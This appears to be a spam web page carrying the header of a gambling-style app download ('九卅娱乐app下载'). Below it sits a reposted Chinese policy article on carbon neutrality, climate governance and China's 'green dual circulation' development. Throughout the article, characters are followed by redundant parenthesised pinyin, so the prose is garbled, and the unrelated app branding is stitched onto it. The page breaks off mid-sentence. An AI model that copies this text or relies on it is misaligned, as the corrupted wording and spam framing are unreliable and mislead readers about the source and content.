九卅娱乐app下载(北京)科技发展有限公司-详情

九卅娱乐app下载



九卅娱乐app下载

九卅娱乐app下载 > 九卅娱乐app下载 > 九卅娱乐app下载

中和下如何构建绿色双循环新发展格局

发布时(shi)间:2021-07-06   来源(yuan):   浏览量:0

全(quan)球气候治(zhi)理(li)对国际关系有重要(yao)影响并已经超越了传统的(de)(de)地(di)缘(yuan)政(zheng)治(zhi)范畴,逐(zhu)步(bu)成(cheng)为(wei)全(quan)球治(zhi)理(li)的(de)(de)关键领域。从(cong)目(mu)前(qian)(qian)气候治(zhi)理(li)发展的(de)(de)主(zhu)(zhu)体(ti)(ti)、模式和结(jie)构(gou)来(lai)看,无论是全(quan)球气候变化治(zhi)理(li)面(mian)对的(de)(de)民粹主(zhu)(zhu)义或特朗(lang)普现象等外部(bu)挑(tiao)战,还是其发展前(qian)(qian)景(jing),都发生了前(qian)(qian)所(suo)未有的(de)(de)变化。全(quan)球治(zhi)理(li)结(jie)构(gou)中的(de)(de)东升西(xi)降,非西(xi)方国家群体(ti)(ti)性的(de)(de)崛起(qi),中国前(qian)(qian)所(suo)未有地(di)靠(kao)近世(shi)界(jie)舞(wu)台的(de)(de)中心,主(zhu)(zhu)要(yao)大国的(de)(de)能源(yuan)结(jie)构(gou)调整和绿(lv)色技术革(ge)命,经济去碳化和绿(lv)色金(jin)融进(jin)一步(bu)席卷全(quan)球等因素(su),都推动全(quan)球气候治(zhi)理(li)进(jin)入了一个新(xin)阶(jie)段。

当前,我国(guo)(guo)对(dui)于(yu)党的(de)(de)(de)十九届五中(zhong)全(quan)(quan)会(hui)提出经(jing)(jing)济(ji)(ji)社会(hui)发(fa)展(zhan)(zhan)全(quan)(quan)面绿色(se)转型的(de)(de)(de)目标,其发(fa)展(zhan)(zhan)内(nei)涵的(de)(de)(de)界定(ding)主(zhu)要围绕三(san)条主(zhu)线(xian)展(zhan)(zhan)开:一是以应(ying)对(dui)气候变化和(he)环境(jing)保护为(wei)主(zhu)线(xian),在2035年基本实现美丽中(zhong)国(guo)(guo)建设(she)目标;二(er)是以促进国(guo)(guo)内(nei)经(jing)(jing)济(ji)(ji)增长为(wei)主(zhu)线(xian),强调(diao)将(jiang)绿色(se)新(xin)兴产业作(zuo)为(wei)新(xin)的(de)(de)(de)经(jing)(jing)济(ji)(ji)增长点,推动绿色(se)科技创新(xin)在畅通国(guo)(guo)内(nei)大(da)循环中(zhong)发(fa)挥(hui)关键作(zuo)用;三(san)是以深度融入(ru)全(quan)(quan)球(qiu)经(jing)(jing)济(ji)(ji)为(wei)主(zhu)线(xian),强调(diao)科技创新(xin)应(ying)对(dui)气候变化的(de)(de)(de)国(guo)(guo)际合作(zuo),形(xing)成更加(jia)紧密稳定(ding)的(de)(de)(de)全(quan)(quan)球(qiu)经(jing)(jing)济(ji)(ji)循环体系。

一、碳中和战(zhan)略目标与五中全会战(zhan)略方(fang)针(zhen)

2020年(nian)9月22日,国(guo)家主席习近平(ping)(ping)在第七十五届联合国(guo)大会一般性辩论上重点指出(chu)“中(zhong)国(guo)将(jiang)提(ti)高国(guo)家自主贡(gong)献力(li)度,采取更加(jia)有力(li)的(de)(de)(de)政策和(he)措(cuo)施,二氧化碳(tan)排(pai)放力(li)争于(yu)2030年(nian)前达到峰值,努力(li)争取2060年(nian)前实现碳(tan)中(zhong)和(he)。”中(zhong)国(guo)对减少温室(shi)气体(ti)排(pai)放的(de)(de)(de)承(cheng)诺、在新冠病(bing)毒大流行后加(jia)快全球经济发展的(de)(de)(de)努力(li),以及中(zhong)国(guo)政府在国(guo)际舞台上采取的(de)(de)(de)一系列举措(cuo),明确表(biao)达了中(zhong)国(guo)承(cheng)担更多全球责任的(de)(de)(de)意愿,同时(shi)也(ye)意味着绿色发展方式(shi)和(he)高质量发展模式(shi)相互平(ping)(ping)衡更加(jia)需要绿色技术(shu)创新与国(guo)际科(ke)创合作(zuo)的(de)(de)(de)双轮驱动。

党的(de)(de)十九(jiu)(jiu)(jiu)大报(bao)告开创(chuang)性地提出(chu)“引导(dao)应(ying)对(dui)(dui)气(qi)(qi)(qi)候(hou)(hou)(hou)变化(hua)(hua)国(guo)(guo)(guo)际(ji)(ji)合(he)(he)作(zuo)(zuo),成(cheng)为全(quan)(quan)球生(sheng)(sheng)态(tai)(tai)文明(ming)建(jian)(jian)(jian)设(she)的(de)(de)重(zhong)要参与者(zhe)、贡献者(zhe)、引领(ling)者(zhe)”的(de)(de)科学(xue)论断,这是(shi)对(dui)(dui)中(zhong)(zhong)(zhong)(zhong)国(guo)(guo)(guo)参与全(quan)(quan)球气(qi)(qi)(qi)候(hou)(hou)(hou)治(zhi)理作(zuo)(zuo)用的(de)(de)历(li)史性认识。习(xi)近平总书记在(zai)2018年(nian)全(quan)(quan)国(guo)(guo)(guo)生(sheng)(sheng)态(tai)(tai)环(huan)境(jing)保护大会(hui)(hui)上进(jin)一(yi)(yi)步强调(diao)(diao)要“推(tui)动和(he)引导(dao)建(jian)(jian)(jian)立公平合(he)(he)理、合(he)(he)作(zuo)(zuo)共(gong)(gong)赢的(de)(de)全(quan)(quan)球气(qi)(qi)(qi)候(hou)(hou)(hou)治(zhi)理体(ti)系,彰显中(zhong)(zhong)(zhong)(zhong)国(guo)(guo)(guo)负(fu)责(ze)任大国(guo)(guo)(guo)形(xing)象(xiang),推(tui)动构建(jian)(jian)(jian)人类命(ming)运共(gong)(gong)同体(ti)”。党的(de)(de)十九(jiu)(jiu)(jiu)届四(si)中(zhong)(zhong)(zhong)(zhong)全(quan)(quan)会(hui)(hui)具体(ti)指(zhi)出(chu):“积极参与全(quan)(quan)球治(zhi)理体(ti)系改革和(he)建(jian)(jian)(jian)设(she),推(tui)动在(zai)共(gong)(gong)同但有(you)区(qu)别的(de)(de)责(ze)任、公平、各自能力等原(yuan)则(ze)基(ji)础上开展应(ying)对(dui)(dui)气(qi)(qi)(qi)候(hou)(hou)(hou)变化(hua)(hua)国(guo)(guo)(guo)际(ji)(ji)合(he)(he)作(zuo)(zuo)。”党的(de)(de)十九(jiu)(jiu)(jiu)届五(wu)(wu)(wu)中(zhong)(zhong)(zhong)(zhong)全(quan)(quan)会(hui)(hui)具体(ti)指(zhi)出(chu):“到二(er)零三五(wu)(wu)(wu)年(nian),广泛形(xing)成(cheng)绿(lv)色生(sheng)(sheng)产生(sheng)(sheng)活方式,碳(tan)排放达峰(feng)后稳中(zhong)(zhong)(zhong)(zhong)有(you)降,生(sheng)(sheng)态(tai)(tai)环(huan)境(jing)根本(ben)好(hao)转(zhuan),美(mei)丽中(zhong)(zhong)(zhong)(zhong)国(guo)(guo)(guo)建(jian)(jian)(jian)设(she)目标基(ji)本(ben)实现;‘十四(si)五(wu)(wu)(wu)’时期(qi),促(cu)进(jin)我(wo)国(guo)(guo)(guo)经济社会(hui)(hui)发展全(quan)(quan)面绿(lv)色转(zhuan)型,支持绿(lv)色技(ji)术(shu)创(chuang)新,积极参与和(he)引领(ling)对(dui)(dui)气(qi)(qi)(qi)候(hou)(hou)(hou)变化(hua)(hua)等生(sheng)(sheng)态(tai)(tai)环(huan)保国(guo)(guo)(guo)际(ji)(ji)合(he)(he)作(zuo)(zuo)。”从近年(nian)来我(wo)国(guo)(guo)(guo)对(dui)(dui)应(ying)对(dui)(dui)气(qi)(qi)(qi)候(hou)(hou)(hou)变化(hua)(hua)的(de)(de)战略方针的(de)(de)调(diao)(diao)整,特别是(shi)基(ji)于(yu)五(wu)(wu)(wu)中(zhong)(zhong)(zhong)(zhong)全(quan)(quan)会(hui)(hui)精神的(de)(de)学(xue)习(xi),可见(jian)“十四(si)五(wu)(wu)(wu)”时期(qi)重(zhong)点任务之一(yi)(yi)就是(shi)坚持绿(lv)色技(ji)术(shu)创(chuang)新在(zai)美(mei)丽中(zhong)(zhong)(zhong)(zhong)国(guo)(guo)(guo)建(jian)(jian)(jian)设(she)中(zhong)(zhong)(zhong)(zhong)的(de)(de)核(he)心(xin)地位(wei)(wei),以促(cu)进(jin)低碳(tan)、零碳(tan)和(he)负(fu)碳(tan)产业快速(su)发展畅通内循环(huan),并同时积极参与和(he)引领(ling)对(dui)(dui)气(qi)(qi)(qi)候(hou)(hou)(hou)变化(hua)(hua)等生(sheng)(sheng)态(tai)(tai)环(huan)保国(guo)(guo)(guo)际(ji)(ji)合(he)(he)作(zuo)(zuo)畅通外循环(huan),进(jin)一(yi)(yi)步突出(chu)技(ji)术(shu)生(sheng)(sheng)态(tai)(tai)化(hua)(hua)创(chuang)新(内循环(huan)要素(su))与国(guo)(guo)(guo)际(ji)(ji)科创(chuang)合(he)(he)作(zuo)(zuo)(外循环(huan)要素(su))在(zai)我(wo)国(guo)(guo)(guo)开启全(quan)(quan)面建(jian)(jian)(jian)设(she)社会(hui)(hui)主义现代(dai)化(hua)(hua)国(guo)(guo)(guo)家新征程中(zhong)(zhong)(zhong)(zhong)的(de)(de)重(zhong)要地位(wei)(wei)。

二、全球气候治理格局的变(bian)化与中国的战略机遇

在(zai)全(quan)(quan)(quan)球(qiu)(qiu)治(zhi)理(li)(li)不(bu)断(duan)向纵深发(fa)(fa)展的(de)进(jin)(jin)程中(zhong),欧盟、中(zhong)国(guo)(guo)(guo)、美(mei)国(guo)(guo)(guo)和广大发(fa)(fa)展中(zhong)国(guo)(guo)(guo)家都曾是全(quan)(quan)(quan)球(qiu)(qiu)气(qi)(qi)候治(zhi)理(li)(li)进(jin)(jin)程中(zhong)积极(ji)且重(zhong)要的(de)力量。中(zhong)国(guo)(guo)(guo)、美(mei)国(guo)(guo)(guo)和欧盟都曾具有突出的(de)合作能(neng)(neng)(neng)力及合作意(yi)愿,更(geng)(geng)为重(zhong)要的(de)是三者都在(zai)全(quan)(quan)(quan)球(qiu)(qiu)气(qi)(qi)候治(zhi)理(li)(li)进(jin)(jin)程中(zhong)采取(qu)了积极(ji)的(de)行动,为应(ying)对气(qi)(qi)候变化贡(gong)献了巨大的(de)力量。但(dan)随(sui)着中(zhong)美(mei)战略竞(jing)(jing)争(zheng)日趋激烈(lie)和新冠肺炎疫(yi)情全(quan)(quan)(quan)球(qiu)(qiu)蔓延,进(jin)(jin)一(yi)步加(jia)(jia)速了全(quan)(quan)(quan)球(qiu)(qiu)能(neng)(neng)(neng)源(yuan)格(ge)局的(de)演进(jin)(jin)和重(zhong)塑。从整体格(ge)局来看,全(quan)(quan)(quan)球(qiu)(qiu)能(neng)(neng)(neng)源(yuan)供过于求(qiu)今后会更(geng)(geng)加(jia)(jia)明显。这使得主要能(neng)(neng)(neng)源(yuan)生(sheng)产国(guo)(guo)(guo)的(de)竞(jing)(jing)争(zheng)加(jia)(jia)剧,协调更(geng)(geng)加(jia)(jia)困难;能(neng)(neng)(neng)源(yuan)消费大国(guo)(guo)(guo)今后的(de)话语(yu)权、定价权会进(jin)(jin)一(yi)步增强。在(zai)疫(yi)情暴发(fa)(fa)后,世界各国(guo)(guo)(guo)加(jia)(jia)紧部(bu)署应(ying)对气(qi)(qi)候变化行动,加(jia)(jia)速全(quan)(quan)(quan)球(qiu)(qiu)低碳转型的(de)进(jin)(jin)程,把新能(neng)(neng)(neng)源(yuan)投资作为经济复苏的(de)重(zhong)要手(shou)段,抢占绿色低碳转型先机(ji)。

(一)欧盟内部矛盾(dun)重(zhong)重(zhong),其全球(qiu)气候(hou)治理(li)领导力下降

气(qi)(qi)候(hou)(hou)(hou)变(bian)(bian)化行动仍是大部(bu)分欧(ou)盟(meng)(meng)国(guo)家(jia)文化、外交政策(ce)的(de)(de)(de)中心任(ren)务。首先,在用于气(qi)(qi)候(hou)(hou)(hou)治(zhi)理(li)(li)的(de)(de)(de)资(zi)金(jin)与技(ji)术上,欧(ou)盟(meng)(meng)的(de)(de)(de)资(zi)金(jin)充(chong)足且更具有(you)技(ji)术优势(shi);其次(ci),欧(ou)盟(meng)(meng)积极推(tui)动气(qi)(qi)候(hou)(hou)(hou)治(zhi)理(li)(li)、应(ying)对(dui)温室气(qi)(qi)体(ti)排放,其气(qi)(qi)候(hou)(hou)(hou)治(zhi)理(li)(li)立(li)场最为坚定(ding)。但(dan)欧(ou)盟(meng)(meng)面临一系列挑战(zhan)及内(nei)部(bu)分歧,使得欧(ou)盟(meng)(meng)很(hen)难(nan)在短期内(nei)成为全(quan)球气(qi)(qi)候(hou)(hou)(hou)变(bian)(bian)化的(de)(de)(de)领导者(zhe)。

随着英国(guo)(guo)脱欧(ou)和(he)难(nan)(nan)民问(wen)题导致(zhi)的(de)内(nei)部分歧(qi),欧(ou)盟对新一轮(lun)全(quan)球气(qi)候(hou)变(bian)化谈判的(de)进程和(he)结果的(de)影响(xiang)力在下降(jiang)。2016年(nian)欧(ou)盟28国(guo)(guo)负担(dan)全(quan)球二氧化碳(tan)排放(fang)的(de)10%。欧(ou)盟2030年(nian)的(de)目(mu)(mu)标是将(jiang)排放(fang)量减(jian)(jian)少至少比1990年(nian)水平低60%。但欧(ou)洲各国(guo)(guo)在实(shi)现这些目(mu)(mu)标上存在不确定性,许多国(guo)(guo)家(jia)未能(neng)按计划实(shi)现2020年(nian)的(de)减(jian)(jian)排目(mu)(mu)标。例如德(de)(de)(de)国(guo)(guo)将(jiang)无(wu)法(fa)实(shi)现其2020年(nian)温(wen)室气(qi)体排放(fang)低于1990年(nian)40%水平的(de)承(cheng)诺,预计将(jiang)距离承(cheng)诺水平至少差8个(ge)百分点。虽然德(de)(de)(de)国(guo)(guo)在可再生能(neng)源发展上取得突出成就(jiu),但自福(fu)岛核泄漏事件后(hou),德(de)(de)(de)国(guo)(guo)决定减(jian)(jian)少核电,这也使德(de)(de)(de)国(guo)(guo)减(jian)(jian)排任务更(geng)(geng)困难(nan)(nan)。此外,在2019年(nian)12月召开的(de)第25次缔约方(fang)大(da)会(COP25)上,190多个(ge)国(guo)(guo)家(jia)代(dai)表未能(neng)就(jiu)加强《巴黎协(xie)定》执(zhi)行(xing)的(de)具体计划达(da)成共识。2020年(nian)突如其来(lai)的(de)新冠肺(fei)炎疫情更(geng)(geng)是让(rang)欧(ou)盟锐气(qi)大(da)减(jian)(jian),领导治理气(qi)候(hou)的(de)底气(qi)受到冲(chong)击。

(二)美国立场出现分裂,其在全球(qiu)气候治理(li)体系中的领导地位(wei)已(yi)经动摇(yao)

2017年6月,美(mei)国(guo)(guo)特朗(lang)普政府宣布退出《巴黎协(xie)定》宣告了(le)(le)美(mei)国(guo)(guo)在(zai)(zai)气(qi)候(hou)变(bian)化(hua)问题上的立(li)场从(cong)“逐步积极”退变(bian)为(wei)“十分消极”,从(cong)“治(zhi)理(li)主导权(quan)”退变(bian)为(wei)“能源主导权(quan)(能源独立(li))”,在(zai)(zai)某(mou)种程(cheng)度上进(jin)一步打破了(le)(le)传(chuan)统上基于(yu)欧(ou)盟(meng)、美(mei)国(guo)(guo)和发展中(zhong)国(guo)(guo)家(jia)来(lai)划分的气(qi)候(hou)治(zhi)理(li)格局(ju),给全(quan)(quan)球减(jian)排与(yu)应(ying)对气(qi)候(hou)变(bian)化(hua)的努(nu)力带(dai)来(lai)了(le)(le)多重(zhong)挑战(zhan)。这意味(wei)着(zhe)美(mei)国(guo)(guo)已经主动(dong)放(fang)弃了(le)(le)其在(zai)(zai)全(quan)(quan)球气(qi)候(hou)治(zhi)理(li)中(zhong)的领导权(quan)。作为(wei)全(quan)(quan)球最大的发达国(guo)(guo)家(jia)、第二(er)大碳排放(fang)国(guo)(guo)和第三(san)大人(ren)均碳排放(fang)国(guo)(guo),美(mei)国(guo)(guo)在(zai)(zai)气(qi)候(hou)变(bian)化(hua)政策上的倒退,迫使全(quan)(quan)球气(qi)候(hou)治(zhi)理(li)联盟(meng)面临重(zhong)新(xin)洗(xi)牌。

尽管现在美(mei)国重新加入《巴黎气候(hou)协(xie)定》以应对全(quan)球(qiu)(qiu)变暖,但美(mei)国在全(quan)球(qiu)(qiu)气候(hou)治理体(ti)系(xi)中的领导地(di)位已经动摇。拜(bai)登(deng)政(zheng)府(fu)的一系(xi)列能源政(zheng)策变的可(ke)能仅仅是形式,实际效果不会很快产生。

(三)全(quan)球气候治理新格局中(zhong)我(wo)国的(de)战略机遇(yu)

全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)治(zhi)(zhi)理(li)(li)(li)(li)是(shi)冷战以后(hou)全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)环境(jing)与发展(zhan)(zhan)、国(guo)(guo)(guo)(guo)际(ji)政治(zhi)(zhi)及经(jing)济或者说是(shi)非传(chuan)统安全(quan)(quan)(quan)领域(yu)出现(xian)(xian)的(de)(de)少数最受全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)瞩目、影响极(ji)为深远的(de)(de)议题(ti)之一,是(shi)国(guo)(guo)(guo)(guo)家治(zhi)(zhi)理(li)(li)(li)(li)体系(xi)和治(zhi)(zhi)理(li)(li)(li)(li)能力(li)现(xian)(xian)代(dai)化(hua)(hua)中(zhong)(zhong)(zhong)的(de)(de)新(xin)(xin)兴主(zhu)题(ti)。从大(da)(da)的(de)(de)历史阶(jie)段判断,全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)治(zhi)(zhi)理(li)(li)(li)(li)在过(guo)去几年已然(ran)进入(ru)以中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)、美(mei)国(guo)(guo)(guo)(guo)、欧盟(meng)国(guo)(guo)(guo)(guo)家为代(dai)表的(de)(de)大(da)(da)国(guo)(guo)(guo)(guo)博弈阶(jie)段,全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)治(zhi)(zhi)理(li)(li)(li)(li)新(xin)(xin)时代(dai)已经(jing)初露端倪。以目前的(de)(de)国(guo)(guo)(guo)(guo)际(ji)形势来(lai)看,中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)暂不具(ju)备承(cheng)担(dan)全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)变(bian)化(hua)(hua)领导的(de)(de)能力(li),但积极(ji)参与全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)治(zhi)(zhi)理(li)(li)(li)(li)是(shi)中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)实现(xian)(xian)现(xian)(xian)代(dai)化(hua)(hua)的(de)(de)内在要(yao)(yao)(yao)求(qiu)和战略机遇。一是(shi)绿色(se)(se)发展(zhan)(zhan)是(shi)我国(guo)(guo)(guo)(guo)转(zhuan)变(bian)经(jing)济发展(zhan)(zhan)方(fang)式(shi)、优(you)化(hua)(hua)产(chan)业结构(gou)的(de)(de)根(gen)本途(tu)径。经(jing)济增(zeng)(zeng)长方(fang)式(shi)要(yao)(yao)(yao)发生(sheng)转(zhuan)变(bian),就必须对产(chan)业结构(gou)进行优(you)化(hua)(hua)调整(zheng),即从过(guo)去高(gao)(gao)投入(ru)、高(gao)(gao)能耗(hao)、低产(chan)出、低质量(liang)的(de)(de)黑色(se)(se)经(jing)济发展(zhan)(zhan)模式(shi)走出来(lai),以绿色(se)(se)创新(xin)(xin)驱动模式(shi)来(lai)促(cu)进经(jing)济的(de)(de)增(zeng)(zeng)长。二是(shi)绿色(se)(se)技术创新(xin)(xin)国(guo)(guo)(guo)(guo)际(ji)合(he)作利用外资、人才、技术等(deng)要(yao)(yao)(yao)素统筹国(guo)(guo)(guo)(guo)内国(guo)(guo)(guo)(guo)际(ji)两个(ge)大(da)(da)局。应对气(qi)候(hou)变(bian)化(hua)(hua)的(de)(de)科(ke)技创新(xin)(xin)国(guo)(guo)(guo)(guo)际(ji)合(he)作充(chong)分(fen)优(you)化(hua)(hua)外资结构(gou),发挥利用外资、技术和人才推动自主(zhu)创新(xin)(xin)、产(chan)业升级(ji)、区域(yu)协(xie)调发展(zhan)(zhan)等(deng)方(fang)面的(de)(de)积极(ji)作用。三是(shi)完善绿色(se)(se)技术创新(xin)(xin)体系(xi)和推动低碳(tan)产(chan)业快速发展(zhan)(zhan),为重塑(su)全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)治(zhi)(zhi)理(li)(li)(li)(li)体系(xi)提供(gong)更多中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)方(fang)案(an)(an)。全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)绿色(se)(se)治(zhi)(zhi)理(li)(li)(li)(li)体系(xi),是(shi)中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)制度性(xing)话语(yu)权的(de)(de)国(guo)(guo)(guo)(guo)际(ji)化(hua)(hua)展(zhan)(zhan)现(xian)(xian)。中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)需要(yao)(yao)(yao)将绿色(se)(se)治(zhi)(zhi)理(li)(li)(li)(li)融入(ru)中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)方(fang)案(an)(an)中(zhong)(zhong)(zhong),倡导全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)绿色(se)(se)治(zhi)(zhi)理(li)(li)(li)(li)体系(xi),构(gou)建绿色(se)(se)“一带一路(lu)”,为全(quan)(quan)(quan)球(qiu)(qiu)(qiu)(qiu)气(qi)候(hou)治(zhi)(zhi)理(li)(li)(li)(li)提供(gong)中(zhong)(zhong)(zhong)国(guo)(guo)(guo)(guo)方(fang)案(an)(an)。

三(san)、绿色(se)双循环发展(zhan)建(jian)议

当前,中国经济已由(you)高速增(zeng)长(zhang)阶(jie)段转向高质量发(fa)展阶(jie)段。转变发(fa)展方式、优化经济结构(gou)、转换(huan)增(zeng)长(zhang)动力,根(gen)本目的在(zai)于提高全要素生产力,以发(fa)展绿色(se)双循环(huan)为抓(zhua)手,实现(xian)面向2035的长(zhang)期可持(chi)续发(fa)展。

(一)推(tui)动绿色科(ke)技创新(xin)在畅通国内大循环中发挥关键作用

绿色技(ji)术革(ge)命与低碳(tan)产业变(bian)革(ge)进入高(gao)度(du)活跃期,正以前所未有的(de)(de)速度(du)和力量(liang)影响经济社会发展(zhan),也将带来新的(de)(de)经济增长点、新的(de)(de)市场和新的(de)(de)就业机会。

一是加快绿(lv)色(se)技术(shu)创(chuang)新(xin)(xin),构建市场导向的(de)绿(lv)色(se)技术(shu)创(chuang)新(xin)(xin)体系(xi)。依靠(kao)创(chuang)新(xin)(xin)驱动打造发(fa)展新(xin)(xin)引擎,培育(yu)新(xin)(xin)的(de)经(jing)济增长点,实(shi)现经(jing)济保持(chi)中高速增长和(he)(he)产(chan)(chan)业迈向中高端水平“双目标”。以绿(lv)色(se)高效技术(shu)提高能源(yuan)和(he)(he)资(zi)(zi)源(yuan)利(li)用率,降低(di)生产(chan)(chan)与服务过程(cheng)的(de)能源(yuan)与资(zi)(zi)源(yuan)消耗。加大对新(xin)(xin)兴绿(lv)色(se)产(chan)(chan)业基础技术(shu)、前沿技术(shu)和(he)(he)共性技术(shu)的(de)研发(fa)支持(chi)力度。加快减量化、再利(li)用、产(chan)(chan)业共生与链(lian)接等领(ling)域的(de)关(guan)键技术(shu)和(he)(he)设备的(de)研发(fa)制造。

二是(shi)(shi)大(da)力(li)调整能(neng)(neng)源(yuan)(yuan)结(jie)构(gou),智能(neng)(neng)电(dian)(dian)(dian)(dian)网技术成为(wei)发展重点。为(wei)了实现碳(tan)(tan)中(zhong)和(he)战略(lve)目标(biao),到2050年,电(dian)(dian)(dian)(dian)力(li)生产将(jiang)(jiang)翻一番,达(da)到14,800太瓦(wa)小时(shi)。能(neng)(neng)源(yuan)(yuan)结(jie)构(gou)主(zhu)要(yao)由(you)核(he)能(neng)(neng)(28%)、风(feng)能(neng)(neng)(21%)、太阳(yang)能(neng)(neng)(17%)、水(shui)电(dian)(dian)(dian)(dian)(14%)和(he)生物质(8%)组成。煤(mei)炭和(he)天然气将(jiang)(jiang)占电(dian)(dian)(dian)(dian)力(li)生产的(de)(de)12%。这(zhei)意味着量将(jiang)(jiang)大(da)幅度增长(zhang),其中(zhong)太阳(yang)能(neng)(neng)增加16倍(bei)(bei)、风(feng)能(neng)(neng)增加9倍(bei)(bei)、核(he)电(dian)(dian)(dian)(dian)增加6倍(bei)(bei)、水(shui)电(dian)(dian)(dian)(dian)增加1倍(bei)(bei)。同时(shi)还要(yao)加强负碳(tan)(tan)技术(例(li)如:直接空(kong)气捕(bu)(bu)获、生物能(neng)(neng)源(yuan)(yuan)的(de)(de)碳(tan)(tan)捕(bu)(bu)获与封(feng)存、碳(tan)(tan)矿化(hua)等)和(he)去(qu)碳(tan)(tan)技术(例(li)如:碳(tan)(tan)捕(bu)(bu)获与封(feng)存)的(de)(de)研发、推广(guang)和(he)应(ying)用(Smriti Mallapaty,2020)。由(you)于(yu)大(da)规(gui)模清洁能(neng)(neng)源(yuan)(yuan)入网,对(dui)智能(neng)(neng)电(dian)(dian)(dian)(dian)网的(de)(de)稳定性(xing)提出了更高的(de)(de)要(yao)求(qiu)。可(ke)靠性(xing)强与低成本(ben)的(de)(de)智能(neng)(neng)电(dian)(dian)(dian)(dian)网将(jiang)(jiang)会是(shi)(shi)清洁能(neng)(neng)源(yuan)(yuan)在全球范围大(da)规(gui)模开发、配置、利用的(de)(de)基础平台。

三是加快(kuai)推进(jin)建(jian)(jian)设,并在此基础上(shang)构(gou)建(jian)(jian)技(ji)术(shu)生态化创新成果转(zhuan)化服(fu)(fu)务平台(tai)(tai)。碳(tan)市(shi)(shi)场在中国(guo)(guo)也已经(jing)推行了一段时间,对(dui)碳(tan)试(shi)点地区的(de)、绿(lv)色低碳(tan)转(zhuan)型工(gong)作有明显促进(jin)作用。建(jian)(jian)议(yi)加快(kuai)全(quan)国(guo)(guo)碳(tan)市(shi)(shi)场建(jian)(jian)设步(bu)伐,并在此基础上(shang)构(gou)建(jian)(jian)绿(lv)色技(ji)术(shu)服(fu)(fu)务平台(tai)(tai),对(dui)配套成果转(zhuan)化服(fu)(fu)务机制(zhi)进(jin)行完善,适时启动全(quan)国(guo)(guo)绿(lv)色技(ji)术(shu)服(fu)(fu)务博览会(hui),发挥碳(tan)市(shi)(shi)场服(fu)(fu)务国(guo)(guo)家经(jing)济低碳(tan)转(zhuan)型、优化能源结构(gou)及资(zi)源配置、培(pei)育(yu)低碳(tan)投资(zi)者(zhe)的(de)良好作用。

(二)推动科(ke)创国(guo)际合作(zuo)在(zai)畅通国(guo)际大(da)循环(huan)中发(fa)挥(hui)关键作(zuo)用

随着政治多极化和(he)中美战(zhan)略竞(jing)争的不断升级,国(guo)际科(ke)技合作(zuo)愈发成(cheng)为(wei)促进(jin)国(guo)家(jia)科(ke)技、经济和(he)社(she)会(hui)发展(zhan),实现国(guo)家(jia)外(wai)交战(zhan)略和(he)目标(biao),解决全球(qiu)性(xing)问题的重(zhong)要(yao)手段,科(ke)技外(wai)交日(ri)益成(cheng)为(wei)国(guo)家(jia)整体外(wai)交的重(zhong)要(yao)组成(cheng)部分,在(zai)国(guo)家(jia)外(wai)循环发展(zhan)大局中发挥越来(lai)越重(zhong)要(yao)的作(zuo)用。

一是扩大国家各(ge)级、各(ge)类应对气(qi)候变化(hua)科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)计(ji)划(hua)的(de)对外(wai)(wai)开放。为落实国家国际科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)合(he)作(zuo)(zuo)(zuo)战略,相关部门对各(ge)类应对气(qi)候变化(hua)科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)计(ji)划(hua)在具(ju)体的(de)资(zi)助内容和对象方面进行(xing)积极调整。例如,设(she)立国际科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)合(he)作(zuo)(zuo)(zuo)计(ji)划(hua)专项、对外(wai)(wai)适度开放国家科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)计(ji)划(hua)、允许外(wai)(wai)国或地区(qu)的(de)研(yan)究(jiu)人员参与中国科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)计(ji)划(hua)申请、投(tou)入国际科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)合(he)作(zuo)(zuo)(zuo)专项经(jing)费、建立国际科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)合(he)作(zuo)(zuo)(zuo)基(ji)地等。此(ci)外(wai)(wai),国家科(ke)(ke)(ke)技(ji)(ji)(ji)(ji)计(ji)划(hua)项目经(jing)费中设(she)有国际合(he)作(zuo)(zuo)(zuo)支出(chu)预算,用于广泛支持国内研(yan)究(jiu)人员与国外(wai)(wai)同行(xing)开展合(he)作(zuo)(zuo)(zuo)交流。

二是加(jia)强相(xiang)关(guan)(guan)人才(cai)交流与(yu)合作(zuo)(zuo)。中(zhong)国(guo)(guo)(guo)政府及相(xiang)关(guan)(guan)机构积(ji)极利用国(guo)(guo)(guo)内、国(guo)(guo)(guo)外(wai)两类(lei)人才(cai)资(zi)(zi)源,注重(zhong)(zhong)人才(cai)的(de)(de)“引进(jin)来”与(yu)“走出去”工(gong)(gong)(gong)作(zuo)(zuo),促进(jin)人才(cai)资(zi)(zi)源的(de)(de)良(liang)性循环。借鉴(jian)美国(guo)(guo)(guo)“科(ke)技特使”经验,鼓励并(bing)派遣我国(guo)(guo)(guo)科(ke)学家(jia)在国(guo)(guo)(guo)外(wai)短期工(gong)(gong)(gong)作(zuo)(zuo),与(yu)当地科(ke)技界(jie)加(jia)强联系(xi),发(fa)现合作(zuo)(zuo)机遇。中(zhong)国(guo)(guo)(guo)通过人员(yuan)互访、专题研(yan)(yan)讨会(hui)、代培(pei)研(yan)(yan)究(jiu)生、学术进(jin)修(xiu)、合作(zuo)(zuo)研(yan)(yan)究(jiu)、技术转(zhuan)移(yi)、设备(bei)维护与(yu)运(yun)行等方(fang)式,积(ji)极而(er)广泛(fan)地参与(yu)国(